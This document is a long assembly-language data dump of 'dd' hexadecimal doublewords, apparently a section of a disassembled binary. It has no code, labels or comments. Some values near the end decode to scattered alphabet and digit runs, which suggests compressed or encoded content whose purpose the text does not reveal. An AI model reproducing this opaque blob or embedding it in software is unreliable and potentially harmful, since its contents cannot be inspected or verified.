dd 1DEEE4D0h, 574ECF28h, 4B6F7181h, 0C9606042h, 2A001E75h
dd 2E8F039Eh, 0FC1CE9h, 73706C85h, 0B19C7508h, 3A62860Bh
dd 0E1550077h, 0EE36B6Eh, 8B1CF3CBh, 1D8866A5h, 0F633C7A8h
dd 6CC60B8h, 3000077Eh, 3C961F74h, 0E2ABB49Dh, 0F0440187h
dd 0A59B3C5h, 0F6823FCEh, 2E10C08Bh, 2AE200B5h, 0B297C44Ch
dd 590F44CCh, 40D4E542h, 0D0112CF2h, 29FF0012h, 0C948A40Ah
dd 3300AF22h, 581CE1D2h, 48901h, 0B9B31F56h, 77ECE23Dh
dd 0DF5E3Dh, 0ADE676A2h, 7CD5B4ACh, 8F170FF0h, 0FCA53878h
dd 0C6CDC048h, 2900A4B9h, 90BBA27h, 0E1F9BAFh, 5DA2D77Dh
dd 8F806EEFh, 0CEFD3C41h, 0C80720E9h, 54046A00h, 37503056h
dd 0DF442568h, 16245500h, 420099BAh, 90A4D4B8h, 7F4ACC7h
dd 4A045698h, 0FB8069FAh, 80102903h, 0AA2CA500h, 0E5784296h
dd 0BC7E0094h, 28DC4E54h, 98008C31h, 0A6869B88h, 13BA4AC6h
dd 7A6A42h, 5EA52FF7h, 70FACACBh, 8902807Bh, 0C2D40E09h
dd 825AC0C1h, 25E43Dh, 75B0A166h, 0E80C5E5Ah, 0DDD0F00h
dd 13C4F330h, 0FEDB0016h, 0C32FC2D9h, 0C0003506h, 0F448A23h
dd 2CFF1Eh, 8F1A4E47h, 0BC16CC20h, 54FEF80Fh, 9300F2C4h
dd 0F9558388h, 0FAE900AFh, 0D8434B5Fh, 2743B53h, 0D27E3Eh
dd 0C7256A4Ah, 55AE9Dh, 0EB41120Eh, 0A30FE620h, 144D0500h
dd 24731682h, 2210032h, 774CCE54h, 2B005033h, 0B78EF44Dh
dd 7E9FBE0h, 0BA6DC53Bh, 8DC0C084h, 29005077h, 0B75AF7E8h
dd 5C63B9C4h, 9000940Fh, 1F783352h, 55007EEBh, 4882694h
dd 7121179h, 0A2C314A4h, 0FA56F003h, 4E039FACh, 30E2B810h
dd 7459D898h, 736B040h, 0C4370E64h, 0F9A9B028h, 0DF900FF0h
dd 8E006174h, 22AF2516h, 471C4D6h, 0BAF0207Ah, 0A8FC04h
dd 671CDC4Dh, 2C5EC64h, 1A0C5903h, 1EE0B879h, 373E14CEh
dd 0B4080065h, 0B648E82Ch, 20990024h, 522D1DCAh, 4BE870A9h
dd 80E71000h, 0A8C48106h, 0BB3A00FBh, 5EDA90F5h, 850054E0h
dd 24D6D07Ah, 710BCF8h, 810D48D7h, 411BF0BDh, 1C00752Fh
dd 0EE5C987Ah, 0E88BFD44h, 25A000D4h, 469437E8h, 23017542h
dd 0EC971C9Ch, 48F02259h, 4F6100B5h, 95A0056Ah, 90014EBh
dd 4A339D2Bh, 20CCC5h, 0E85CB227h, 45759331h, 8842D01Fh
dd 24FEF300h, 11196h, 0BB125F22h, 130A7C54h, 2D05BF00h
dd 0A915A685h, 0E809003Ch, 69D61C4Fh, 0BB002145h, 0E0F31E12h
dd 0B5D831h, 0CE4D59E3h, 36D022Bh, 832EFF00h, 4B58BFD5h
dd 26360065h, 3F9DA4C2h, 5D0038A1h, 0FB40254Eh, 0ECF32DEAh
dd 4947000Ch, 0F4A49541h, 0A1FE3B6h, 28C01B6Bh, 0C896C0Dh
dd 0F8C60F67h, 420CAACh, 0B026CC91h, 0B4448600h, 9F6BBF06h
dd 0A4B800D2h, 54FBC10h, 0C0509DA5h, 6FCC4B6h, 0C800BDEAh
dd 8D22CC64h, 90504AA3h, 0A48C0EDCh, 0BC40BA86h, 60078B63h
dd 806BC63Dh, 520FB6B4h, 2E01A6h, 45859009h, 0D98C6FC0h
dd 242C4C00h, 6A107944h, 0D0A10013h, 7F80F0C2h, 1A012A61h
dd 409F0F2Fh, 9A70C8C4h, 7A9700CFh, 0E6B4035Ah, 6A7F2736h
dd 8ACA5100h, 7CE966A8h, 10680013h, 99EDA920h, 7B00480Bh
dd 494F1191h, 0EA406E43h, 98FAD3h, 0D217A33Bh, 8D7D30ABh
dd 0B3044700h, 9BBA693h, 0DDDB0184h, 742D2915h, 90DE4302h
dd 0E65A41B8h, 7D4A7200h, 5212C3Dh, 4D6E008Bh, 3B022408h
dd 0F5000789h, 0C3C7B5FCh, 5810DBCFh, 5A009471h, 0EC598B7Eh
dd 8003A234h, 0FC9182B7h, 0F3C095B4h, 3E6CFEh, 5A8F59F5h
dd 7E03C48Dh, 0BAF82000h, 5292B102h, 9A7E6B7h, 78800498h
dd 0BE00AA74h, 691B6693h, 168D0034h, 0F254090Eh, 52000429h
dd 0BA086365h, 36A1D79h, 331720F3h, 16C309DBh, 0E0D62BC8h
dd 0FB803F07h, 3BC07F06h, 2E5DDD34h, 0DF8E4h, 150F0EF1h
dd 0C3010C8Bh, 85B0D8E8h, 0FB709CB8h, 0DAE63A5Dh, 0EF1DEB8Ah
dd 2EC6059Dh, 0FDDBC0D3h, 55B88B04h, 77FA8503h, 806DE41Fh
dd 0C7089h, 0A0915A59h, 8880B494h, 0E42D0A03h, 0A281A54Dh
dd 0D0B88053h, 67744Ah, 600F060Bh, 7216EA83h, 0EB100403h
dd 90F8A123h, 0E421DDDFh, 74400FCh, 0C50477C1h, 340062C9h
dd 0CFF14858h, 247DC752h, 0ABDC50h, 0BCE9776Eh, 0BF01D35Fh
dd 0F3E07432h, 6F83CCCh, 0CFE200FCh, 297FB0C4h, 0BD00C27Ah
dd 168F720Ch, 67E8D3h, 0D40DA092h, 0C0A10BB9h, 0AF001898h
dd 0E43B57F0h, 7667DC6h, 0EECF869h, 100BC33Fh, 927CF4D0h
dd 50E88060h, 555AC01h, 68C1A1E0h, 0FB0A8058h, 0FC00EA51h
dd 0A5666F64h, 0B191CEh, 117FB762h, 0D3D52DE0h, 0F0466909h
dd 60558041h, 894831h, 5BB56FCCh, 0B9BC72AAh, 8C41FC2Ch
dd 63A6813Dh, 0C183040Ah, 1F2DF4CCh, 3AFDBBh, 9AC02456h
dd 8900AF4Eh, 0B683252h, 0F61F41Bh, 0D61D655Ch, 6A0D4680h
dd 8403FB91h, 0FE1EDDEAh, 2353D814h, 3C100055h, 8EEB7C72h
dd 0E204471Fh, 0BB379F33h, 0C13596C2h, 10203030h, 408C012Fh
dd 0E424AA25h, 0B095201Dh, 36C30307h, 5E50604h, 2B30487h
dd 9D09CB08h, 200C9C03h, 160EF80Dh, 1A840090h, 687013E8h
dd 93EE6675h, 3825B10Fh, 84FEE0D8h, 985C8A9h, 54CEE6EAh
dd 86AC7080h, 4839B042h, 84A9032Ah, 0BB298267h, 2EAD812h
dd 7B8300A8h, 0F7F6114h, 7C00A522h, 0B4496847h, 589C88h
dd 26961873h, 782F7024h, 0C748018h, 7D6212h, 15235AF0h
dd 87B3850Fh, 0B614B17h, 0A6164307h, 2470E471h, 719684FCh
dd 66D900A4h, 0A114B8FCh
dd 2500DA48h, 658B378Dh, 32E0A95h, 0E81F39B9h, 16E02AA7h
dd 2098B464h, 57335007h, 0C0C0BE8Bh, 3AC4443Ah, 3DBC990Bh
dd 4210C883h, 0B5F87DCCh, 522D0DD0h, 7F5500D4h, 1F883386h
dd 0A1AC44h, 8DCABCE4h, 89E82410h, 96633401h, 5AEB2948h
dd 0E9490D4h, 5C4A98C8h, 0A0C09CCEh, 0A832A4C4h, 0C1F317Eh
dd 95D8102h, 265C80CCh, 0E0696285h, 6E606E22h, 0A702A68Ah
dd 0BA8918C9h, 4963E003h, 3CB700BEh, 0E9CA8BD5h, 65FCD28Ch
dd 0DDBC7400h, 0B327ED7Ah, 8343077Ch, 39EFC89h, 0C2B8D00Bh
dd 0CB0103FDh, 74917208h, 3430641Dh, 2273002Ch, 0EFA85EC3h
dd 0F400553Bh, 5969CCA7h, 17D73017h, 0FDED83h, 0E1E0DD7Dh
dd 0A176F001h, 7D0B6600h, 855EA488h, 5D4000A5h, 38FF4C15h
dd 61DB292h, 0BE004657h, 8835905h, 0C99407F0h, 0F7CDDBh
dd 8257E815h, 0F6B82503h, 0B0216ACAh, 7F90C432h, 858400D4h
dd 0AC456C26h, 0F67F8139h, 0FECA9800h, 4DA2A32Eh, 0A1D81D42h
dd 0DF670180h, 0CC202162h, 5600FC44h, 0C77FA719h, 728D0C1h
dd 54FA4802h, 8320FE0Bh, 50798A98h, 3AA9A83Eh, 183DD8h
dd 0D1E88980h, 1788B6h, 948A8278h, 7F913967h, 9E4C2100h
dd 0DDA5E0ECh, 851C4889h, 0FECB1907h, 3D10A032h, 2A0040C6h
dd 9F09010Ch, 72350671h, 0C5B00372h, 131A65B4h, 9226BBE8h
dd 0A9A73400h, 8FA8DA24h, 0E47D56h, 0D8449821h, 0DF23E828h
dd 9D2AB60Fh, 0F4C2A0AAh, 96CDDC0h, 415782FFh, 8A503201h
dd 0B1AA3054h, 58AE6100h, 0EE6DA2Dh, 60D000A3h, 549E1042h
dd 8F0009D4h, 0C7D82808h, 0DC940Ch, 0BE0B846h, 1407529Eh
dd 8080B93Bh, 9C696E3Bh, 10E68Eh, 0C4B632BEh, 80661397h
dd 7AC23C02h, 60E07760h, 0E18A64h, 4CA29179h, 40F56E42h
dd 4EF73900h, 8598DFEBh, 27C00F6h, 300C8A12h, 914CE181h
dd 444849h, 44B2E906h, 1C26CE2Ch, 80800140h, 83490579h
dd 4100FEC9h, 4FBB07Bh, 102B207h, 658A13EBh, 7A4A3C38h
dd 2FC224C0h, 6C5E035Fh, 423796C4h, 0B563DD8h, 0F0074EAh
dd 0D6E2C7F6h, 0FE8F4Ah, 0A79A2D7h, 1EC93390h, 5607C500h
dd 2FCCF814h, 5C1F1C1h, 0BB5460h, 9CF04CB4h, 0F21217A0h
dd 537A8E00h, 0BC4E1440h, 568B5884h, 0DA1C3100h, 479130AFh
dd 25FE3F00h, 0ABDE13F8h, 0BBAA0716h, 0B0B6F117h, 72012C02h
dd 8E741500h, 3947CEA8h, 0BC70049h, 0FADC7516h, 0E800F43Ch
dd 0BC8AC52Ah, 6C8D24h, 0ACBE0460h, 6C70375h, 0EDCC0900h
dd 0F8463F1Eh, 0F5F2A3h, 0E312F713h, 89028D61h, 965C66F2h
dd 951D003Dh, 0FFE281C3h, 0EFE50203h, 0BFFC6284h, 60E8F7C1h
dd 4E00ACEBh, 37D7A06Ah, 3B159449h, 88009547h, 2AF509F7h
dd 0C3000F73h, 50085EF9h, 1D5540C5h, 409C926Ah, 0F6013347h
dd 8A0025EBh, 0D1063544h, 7D05Ch, 72D8042Ah, 87884316h
dd 82CDF53Fh, 0AB0D4926h, 0CCF26007h, 0B7500CBh, 2C683EEh
dd 0E003255Fh, 7A2A1D0Ah, 0CC50F040h, 5A1800AAh, 0B9A8285Dh
dd 10EC086Bh, 75496900h, 6D53F92Ch, 7C9842h, 0FBE82A14h
dd 0BF1BEAFAh, 4500B1F6h, 0E05135Eh, 1567DAh, 22EB92C7h
dd 7940505Ah, 0DF14BA00h, 0B3C35281h, 1F5C001Dh, 74ECB808h
dd 331329ADh, 13004F79h, 0A51BBA9Bh, 2AB40022h, 0A28670B9h
dd 0DF0353F0h, 308A0448h, 341CF899h, 138207EEh, 807DE949h
dd 0F1A24C3Ah, 1400B1F0h, 1D0FBA2Ch, 0F88AB788h, 4131EF2h
dd 3C0EC02Eh, 0E44AA9F3h, 196E4C16h, 0A280351Dh, 2FB120F4h
dd 0A51D01BAh, 0C8F59037h, 88A4FCDCh, 0D11F3Bh, 2D7B5D3Ch
dd 0E468A3h, 0F8B8292Ah, 8D4C4D2h, 2044B41Fh, 5AC8007Bh
dd 0B804EFD8h, 942860FCh, 6D1EBA3Ah, 751FB77Bh, 0CCDDD022h
dd 53CFB3Fh, 1AB83155h, 8FF26272h, 0CF29CFEDh, 3C3FDE0Ah
dd 0F8510108h, 0F48ACB3Dh, 79C865E0h, 34251D72h, 0D64A8047h
dd 0FC1A469Dh, 45E4BA00h, 1FB263D3h, 0CA143EF0h, 643FC403h
dd 87A96823h, 0A675DC10h, 57721F0h, 3CC0E507h, 0BA90F462h
dd 0F847FCh, 3A8A0CF2h, 6EE24C3h, 68001B7Ch, 100A211Ch
dd 0CB8F4h, 0CF66A5C9h, 1D29EB2Bh, 0F928912Ch, 0F949DA00h
dd 4160F0Ch, 7DB875F0h, 0DDABC0E3h, 0F500BA99h, 0B2F46E29h
dd 0ECA4A4Eh, 0CC3025D4h, 6D064400h, 647D2F39h, 43FCDD0Fh
dd 30E2358h, 722CD020h, 266C3E3h, 0CE8618Ah, 1D007051h
dd 96684C42h, 60F6F924h, 4120D831h, 501E724Dh, 51004AE1h
dd 0B88B440Fh, 3AB3008Ch, 0DB84CE52h, 7300FB19h, 530B108Eh
dd 262CCBBh, 37811D7h, 65404B7Fh, 77008312h, 859F2AC6h
dd 0E2D0EB43h, 88680053h, 3F094091h, 0B2007548h, 98F1864Ch
dd 1531821h, 0A32347E8h, 0D925BD38h, 5A06EC3Dh, 0B60A5Ch
dd 13406974h, 3D21E992h, 3E7CA84Bh, 73030744h, 8F72466Bh
dd 617053E8h, 45F86300h, 0A2416478h, 97AB1D10h, 0B2C2C0BBh
dd 58045D6Ch, 0C800E698h, 0C798928Eh, 3011DC42h, 0E46E8924h
dd 0DAC1B0E8h, 22A88F93h, 4844E0F8h, 31075DA0h, 0B0189198h
dd 21286490h, 4048881Eh, 5C328085h, 0F4268800h, 3C704431h
dd 6887C8FCh, 9E601C9Dh, 58891040h, 24033C12h, 61884C50h
dd 9178D048h, 7C403011h, 2C993864h, 131E30F0h, 2841220Ch
dd 24D22045h, 31848C4h, 10B1B899h, 0A2077813h, 51706E08h
dd 0C0BC3153h, 77B361F8h, 30F03D81h, 0E80318BCh, 48D4BE01h
dd 28E0548Ah, 223E29DFh, 88DC0FA1h, 0C4666019h, 24B044D8h
dd 33A6267h, 0D0183238h, 0CA88CABh, 801D24CCh, 601DC872h
dd 45FC41Fh, 0ACC03C4Eh, 0EBC2484h, 0B8249912h, 0B4396883h
dd 0B0A3D4C3h, 0CE9CCE3h, 0F58CF5ACh, 0E4F0F5A8h, 0D0FCA43Ch
dd 0CFA01CCFh, 0CF9CCF34h, 9830C7C8h, 940F4CE4h, 905CC4CCh
dd 8C39A3A0h, 88E87CFCh, 24CF48FAh, 38E0AC84h, 7CEFD80h
dd 1CF47Ch, 68281178h, 89740F18h, 70EE4C04h, 0DEBF64AEh
dd 0FBFAC6Ch, 44ED683Ch, 0F8FAF71Eh, 5CF36007h, 2FE2F84Dh
dd 3EC8F274h, 0CBA9458h, 0CFF454BAh, 60475014h, 914CF13Ch
dd 0F840F930h, 0EFFD1814h, 0CAF0BCF3h, 9FC700Ah, 7D97E800h
dd 81BA2098h, 80510995h, 0E0803F60h, 7446724Eh, 36BC4105h
dd 0FA8025B9h, 74450AB8h, 0F3133AFCh, 4A82F980h, 0A4095517h
dd 10015F01h, 0D2B8057Dh, 7EC099E9h, 0B1483907h, 0E5500C02h
dd 5A40800Fh, 202107Dh, 18BF0372h, 2C7F40FBh, 9B831F4Ch
dd 0D0FCC08Bh, 282DF876h, 317FFF00h, 86730232h, 0F3E11CC8h
dd 0B48D007Eh, 4AA87449h, 66FC400Fh, 0EBA4A2C1h, 0E76D6123h
dd 0B0B60FC0h, 0FB80009Bh, 0BC37401h, 9007704h, 6C30BFF3h
dd 7EB03Bh, 1AB8B302h, 4F9D140Dh, 2F588E0Fh, 8C44A0A1h
dd 10917BEh, 763352A3h, 0E011D825h, 88028F4Bh, 0AAC81B1h
dd 2B57E0C0h, 0C3B01F82h, 86E64084h, 2D3D1480h, 6D55AA12h
dd 0E04DFC0Fh, 0CA83BE5h, 11F007Fh, 7CFDF983h, 0C97E0B1Ah
dd 4E861C00h, 4A3E80AAh, 0A0401F27h, 0F766C02Fh, 0D8F320D9h
dd 0BF1CEB00h, 8F42C311h, 19740091h, 2F8E2C5h, 8A001508h
dd 6623A2E0h, 0A20E86ABh, 2A54C0C3h, 4081007Fh, 0E3FE3306h
dd 2B00F225h, 5EAB6293h, 0F48A0B14h, 8B8C0F29h, 116049D2h
dd 2BB48719h, 86081C01h, 27204EAh, 0EB09330h, 0E65D8A45h
dd 0E455BF00h, 0BDF8AA4Ah, 3B6DD21Ch, 90E2EBC0h, 83067Dh
dd 0D7DAF7A7h, 0B1E46A6Fh
dd 0C4008AE0h, 8B5092AAh, 32DC61h, 258C35F7h, 5B23F1Dh
dd 49430A01h, 0ED15D50Bh, 8BE980E7h, 0AA040709h, 10F8DC3Bh
dd 4B735852h, 830E0F98h, 0A01D12FAh, 5638BA05h, 496F00E2h
dd 0EB04D6B5h, 0DB013328h, 0E03A8889h, 48C0C11Dh, 0F60300B3h
dd 43DC8AF3h, 1488EACh, 4B0D002Dh, 3DA0F475h, 0C57C031Eh
dd 4AEAEB32h, 0C3FF1AA8h, 3C2EE358h, 0C058073h, 27F97541h
dd 26CF072Bh, 708EC3F7h, 81891D8Ah, 46A43200h, 220B6452h
dd 0F211CF1h, 0D93A0004h, 0E9027F76h, 8DDDCC00h, 1A9B9C09h
dd 0C9241790h, 48F805h, 1E74D03Ch, 7E537651h, 7A293B48h
dd 0AE92AA8h, 3E80C8Ch, 0F7CC0784h, 595B407Fh, 0E2014312h
dd 0AC0BEBDCh, 7DC04A35h, 5C00041h, 0EADFC42Bh, 26B8B701h
dd 0BA402A00h, 0BDE7602h, 1720029Bh, 289958F7h, 2DFDACE0h
dd 831A473Fh, 0F97E05D4h, 0EB48DBB6h, 1C51F9A3h, 0C07FFBECh
dd 1BF52E10h, 6A391338h, 3600FD20h, 33C81067h, 299D28h
dd 99593577h, 6E1940D0h, 0D9D60B1Eh, 69269C40h, 7B2B202Fh
dd 4470007h, 4FEE0990h, 0E9EAC1EAh, 136BC200h, 8C5AE8Fh
dd 5D770Bh, 0DE4F1673h, 68C61B28h, 0F0578D00h, 5A80E84Ch
dd 9C220081h, 4BE96CBAh, 591F13F4h, 60C79001h, 80F7B951h
dd 0C0A0A4C7h, 0FE6F2B7h, 0E3AFF599h, 3D46EF20h, 7400344Ah
dd 0F9C70C17h, 0D11166h, 16207536h, 1A7E2A52h, 145B3900h
dd 990F4C0Eh, 54FC079Bh, 3046BA33h, 403421EBh, 0B716C30Eh
dd 8745C019h, 0DA74D7h, 55F0F73Bh, 4E775D05h, 1C042498h
dd 0D0E9FB26h, 8BF00BBh, 3CAC1DE3h, 374272Ch, 4D228039h
dd 103E9620h, 0EF560060h, 648AEDE2h, 47F1906h, 52450B07h
dd 0C373020Dh, 3AAC88C0h, 0D0F400C4h, 0F7141BB2h, 0FF00E7EBh
dd 89BBA865h, 18E318Ch, 0A1C76630h, 0F08693BFh, 0F8125588h
dd 88006106h, 0D1267423h, 3925E430h, 2C002EE1h, 33C697F3h
dd 352E44C1h, 3A398931h, 653B3Ah, 1896DF36h, 0D78B46h
dd 424039EBh, 0D32D4CD8h, 1EDBFE01h, 0CABF79DAh, 83C7D4h
dd 0F7D9E880h, 0EC5589C1h, 3E60CB00h, 0EB01F8A2h, 71A400B6h
dd 1432AF43h, 0A7002DAEh, 0A1B42B93h, 9C0FFAh, 0FBC1B801h
dd 589666EBh, 116BEC00h, 2703F80Eh, 0A6D83DA0h, 4EE5C180h
dd 0E02D6EBDh, 4FD58709h, 0E4E7006Ah, 222C35Bh, 6084482Ah
dd 61E06B29h, 0E48BA13h, 0C20776A2h, 5721C385h, 2BE35680h
dd 0D874030Dh, 0D680DCC7h, 0D1F0EAF8h, 5D8D6300h, 28C25F90h
dd 0E7FC0008h, 0A4F8C4CAh, 270045CEh, 48F324DAh, 1E1E91EFh
dd 40441A22h, 7538920h, 0C0074FC4h, 0E6E8D4A3h, 0ACCD82D0h
dd 0C66E00B7h, 0F43FF02Bh, 803C2606h, 0C0FE02FCh, 60752D0Ah
dd 59DE4ABh, 412E74C4h, 0A4A68146h, 5ECDE4F9h, 3880500h
dd 0EE8A6B53h, 8DCF1F2Ah, 0D6AD8742h, 0EB5BF0ABh, 0A400CC88h
dd 0D8DEA1C3h, 1B8C41h, 7FD307Ch, 4DFF01F5h, 7475F425h
dd 0BB0D00C4h, 3414DE45h, 0E40FC400h, 41AB127Eh, 43290104h
dd 4B0B1F91h, 0F9987150h, 0DEC16031h, 6BB86600h, 2E6C9622h
dd 9E1E00EBh, 9A88FC25h, 0DD004517h, 0F7EE7E0h, 1CC9B258h
dd 808DF228h, 0BF065975h, 0C200AA9Ah, 45D36649h, 64E31Ah
dd 0A9F938B4h, 847A16D8h, 736D3100h, 0C92E3283h, 8DA70008h
dd 0D0445F46h, 0F5008925h, 0A03D0320h, 58227507h, 4600BB09h
dd 119FA506h, 737B90AAh, 9D7E811Fh, 326B800h, 0E1340h
dd 0CDC43C6h, 0DB8D6BE9h, 2D2E0801h, 69053FFFh, 2104E12Fh
dd 5B6C7048h, 83C44000h, 0E051ECA2h, 0E1D901F4h, 72BFE837h
dd 0DBFCD80Eh, 749C2D00h, 9BF2D8A7h, 83DD3C48h, 0FAA8D401h
dd 0FC410B70h, 9A00DA09h, 0F8EF80BCh, 7E675DFh, 3187BF2h
dd 9B6BF0BAh, 4400148Ah, 7DDE515h, 8E8C0h, 660F7004h, 45E33005h
dd 621DE27Ch, 480032EBh, 64CBCAAh, 82F0073h, 8205C879h
dd 0C00F83Bh, 0A303C96h, 712FF83h, 8027730Fh, 351F707Ch
dd 44E425C6h, 4FE00E00h, 0FE0D781Ah, 13800011h, 0EBED7739h
dd 2F981F14h, 3128A601h, 525F9862h, 7A533530h, 21190325h
dd 0F150A190h, 77835688h, 0C1303A00h, 389D6EAh, 53120088h
dd 6A80C302h, 6008BEEh, 0A0042ECEh, 7CA0BC8h, 0B46B840Fh
dd 79FC4069h, 5C2C9DAEh, 0EA008361h, 1EFF13F3h, 607A00D1h
dd 1F7C04F6h, 0F4891BFh, 82D0EFDh, 81A70064h, 0B6B3DAh
dd 15730DE0h, 0E0549F2h, 27D22103h, 98989378h, 0DFF410h
dd 0B8D7146Dh, 0C22B122Ah, 0DA790104h, 9FC18534h, 0E44062F5h
dd 614057h, 0F7A4B91Bh, 0C0DF6A1h, 0F93DFE00h, 24C4811Eh
dd 1F75000Fh, 0EBECCC49h, 0A00397Bh, 0AA3004C1h, 1E7820h
dd 2122D489h, 0EA44316Ch, 0B009873h, 3134C8Dh, 0C61602h
dd 80D58207h, 0F7D1853Fh, 0CCB9540Eh, 0E5EB271Fh, 88D271E0h
dd 0D5FB008Ah, 6FF19E9h, 0B900F008h, 9D9B1CD1h, 261EBA7Dh
dd 27E2DBh, 6BF89A6h, 0F600E8EEh, 3E13C185h, 5C0DFF80h
dd 303AD7C5h, 464E0107h, 7075F0FCh, 7D008286h, 53A0CE0h
dd 2C6699h, 1246152Bh, 3B1F0748h, 4AD8CE1Fh, 0B0DF2400h
dd 5CD4B81Dh, 0E83B960Ch, 2A582B80h, 9C43D003h, 0DE252404h
dd 0BDC11362h, 0AAFC8498h, 1C35F212h, 825002F9h, 3E52E0D9h
dd 3FDFB0E0h, 0DB6EEB00h, 8AFF9B8Eh, 0D2A90266h, 0B0179E26h
dd 0DD90C1E3h, 527F89BCh, 906D2800h, 0C30B859Bh, 989900ACh
dd 4ECA4320h, 0C40027DDh, 0F03A2CF3h, 0F730Ah, 290DDA26h
dd 0CE904349h, 53B80600h, 131CEA52h, 140E008Ah, 619DB3CAh
dd 0A93D9428h, 6BE4002Ah, 9040EDD2h, 0F4FA0381h, 720A9E9Ch
dd 2143801h, 0BCC54BB5h, 0B871F8h, 250E978Ah, 0F0340F4h
dd 0B67850Fh, 7606A055h, 0FE81216h, 3F957AA7h, 741B0520h
dd 1C002029h, 16B93862h, 3C278B40h, 0DF8FB015h, 5B40C477h
dd 0B932D1B8h, 3D52073Fh, 34450030h, 0AF3F272Bh, 43906Ah
dd 511008EEh, 88154B90h, 42003EB8h, 0E40C2344h, 1E793A14h
dd 73918Ah, 85080A5Ch, 0B11E0490h, 210074FCh, 2CEC64F8h
dd 60422CE0h, 56520027h, 97915014h, 0CF19507h, 8762FC78h
dd 8225C008h, 0B8400073h, 8C5D54BCh, 8D0024D7h, 158B64A8h
dd 8043F3h, 0CB4EC93Dh, 1C303312h, 9810BA00h, 708D404Bh
dd 734F00D4h, 76B30BC4h, 743F8744h, 0EC7A8045h, 5798F20Dh
dd 258C006Fh, 302F206Eh, 42E4F178h, 1C0E397Eh, 0E7760410h
dd 0A8340E1h, 2B110082h, 5025D453h, 8B0BB273h, 33E9ABAh
dd 0F860A7EEh, 0E1A5D84Eh, 1318960h, 0F71EE3DBh, 408A07D0h
dd 97C1FF8Fh, 0D80E1879h, 0D108B3h, 350573E0h, 71060B41h
dd 70809DDBh, 0ACE6E2F3h, 85C33803h, 0B9038B61h, 53F8F420h
dd 1F30E618h, 3085DF2h, 98DB0CE6h, 0F410E099h, 8D122E7Ch
dd 0E0E3353h, 0E7D140B0h, 0D74DFDh, 0AEF8DC3Dh, 0F2015AC3h
dd 76F68500h, 3C647163h, 0CAE029h, 0EEE0E9C1h, 35FF983h
dd 1F7E800h, 0E78166FAh, 0BA0F00FFh, 2CE5C26h, 0C7003BF8h
dd 9DD02177h, 10CDF5h, 4E14069Fh, 0E09373FAh, 0B507247Eh
dd 47E88801h, 0C5BF023Bh, 0EB3FC07Eh, 212C011Ch, 1F0F5372h
dd 0CC10E4C6h, 4E0002E0h, 0B8B9D75h, 0E498C985h, 0FF7A3E35h
dd 3BCAFB80h, 4F5FE15Ah, 0E54EB014h, 2BA9008Ch, 4C770CBAh
dd 0DAB8177Dh, 0C2690145h, 30080110h, 0CE1F71A7h, 3ABE5920h
dd 16378099h
dd 0B1438D27h, 0E06E00C3h, 0E9775A35h, 0CC03CA55h, 0C085C950h
dd 0C73CA876h, 0D6810033h, 0F30C5D70h, 100E540h, 0DC92772h
dd 71C2F002h, 0D68B3E13h, 0CF507480h, 0F8D103D2h, 87057539h
dd 0CEB3201h, 0B4A6B080h, 0A02F0054h, 91757948h, 11FE42A5h
dd 0B657700h, 75676B5h, 5478ABh, 9D7B22BBh, 0BFAE3CECh
dd 0B10C7000h, 9A2DC2B4h, 0A049481Ch, 0CE34A11Dh, 52E0880Ah
dd 0FED0845Fh, 77F23200h, 0C8F94CAh, 0FAD1004Bh, 8A7F2089h
dd 11005653h, 0B8E1CB27h, 0ADA17h, 76F4F0Fh, 0E3C8FDF2h
dd 8A225500h, 0BDEAF8FCh, 759F008Bh, 5334AA87h, 0C7027C8Dh
dd 0CA1E88A3h, 840740C3h, 28A00D5h, 274307ECh, 0DE004647h
dd 7570B033h, 28E6E8h, 2A09BC80h, 4B26048Bh, 16C78A00h
dd 0F13E0649h, 0F40000Dh, 0C8E65B81h, 7D3B0C34h, 37311824h
dd 5711DCh, 40478014h, 0D97B754Bh, 28EFF100h, 50390563h
dd 4E8E8B9h, 0CF498F20h, 0F8E280ECh, 0B100B054h, 2E0BAFFh
dd 39735C8h, 496071A7h, 0D9B013FCh, 2900ADC2h, 4B89A09Dh
dd 7CDB85h, 5843762Dh, 0A5799FD7h, 41023000h, 0FF5EE180h
dd 0D9953C01h, 0E9181480h, 0C70A57E2h, 88A11C00h, 0F21F75Dh
dd 408C0059h, 183C8D12h, 307F2AC3h, 2ED61F00h, 2410A9EBh
dd 75217EABh, 0E3800002h, 0FC3245F3h, 75011A6Ah, 0FE4134F0h
dd 0D670DFB6h, 0E52C0749h, 0E07D3173h, 0B9FF3E62h, 4D9FD400h
dd 5F9589ECh, 9334001Ch, 9BDD88B0h, 1A1D0C71h, 0A89DE410h
dd 6EB78680h, 0C776B4h, 0DE3D34Ah, 0D6E8FD4Fh, 7E400401h
dd 4730BE21h, 0E0446130h, 13FF7D18h, 1A2CBFh, 0AF4ED6FAh
dd 0F2B89F23h, 59760E9h, 5FE4FE00h, 82783EBAh, 5816037Bh
dd 9297831Dh, 755BC998h, 33ADFC00h, 8D487C06h, 89231FBBh
dd 0A7084157h, 61042035h, 904EF815h, 54A2FE03h, 8041C59Ch
dd 7444342h, 48474645h, 4B4A0049h, 4E004D4Ch, 0A51504Fh
dd 38545352h, 5801C655h, 62615A59h, 6564C063h, 68676603h
dd 806B6A69h, 76E6D6Ch, 7271706Fh, 75740073h, 780E7776h
dd 307A79h, 34333231h, 37361C35h, 2B390038h, 24203D2Fh
dd 9D284Ch, 7D7B5D5Bh, 703A3B2Ch, 5C5F002Dh, 927222Ah
dd 91000D0Ah, 0AAE4C4E0h, 7388E867h, 0DA950F04h, 0C55E24FFh
dd 0C084EA21h, 0EC8B2706h, 1490B926h, 3620CB03h, 70D5A801h
dd 15E60FFCh, 0C62080B5h, 5C49E960h, 9E099B00h, 9C732D85h
dd 947A00FCh, 114A641Bh, 96FC6B5Bh, 8CEC9F00h, 0DB2D16DCh
dd 0C39707C0h, 914B5421h, 0FC66C204h, 190759E4h, 941FEBECh
dd 956BC70h, 4052008Ah, 0D4CF5C7Ch, 33001571h, 0FF273929h
dd 3C4BA3F4h, 790010FDh, 83481F05h, 400093C8h, 0A5CEB6F0h
dd 823252h, 0D98CD5F4h, 0C6660347h, 11F01600h, 5521429Fh
dd 4ABF0051h, 6C7EE292h, 0BB0076E1h, 0EB071569h, 41B929h
dd 0DC30630Ah, 0AB83E806h, 5600807Eh, 0E7C1157Ch, 0F869CFh
dd 8BFD097Dh, 7E58562h, 8F82B80Eh, 464BC10Bh, 3D60ED05h
dd 76EA00F0h, 2BBCE14h, 0C7143032h, 0CAF468h, 0EFC11A13h
dd 1C6FF24h, 336AD94h, 41FA6E7Eh, 2B13ED8Ch, 6AA1B0h, 0A6C246Dh
dd 7BEF947Fh, 15684A00h, 648CD44h, 387A4Bh, 519E418Bh
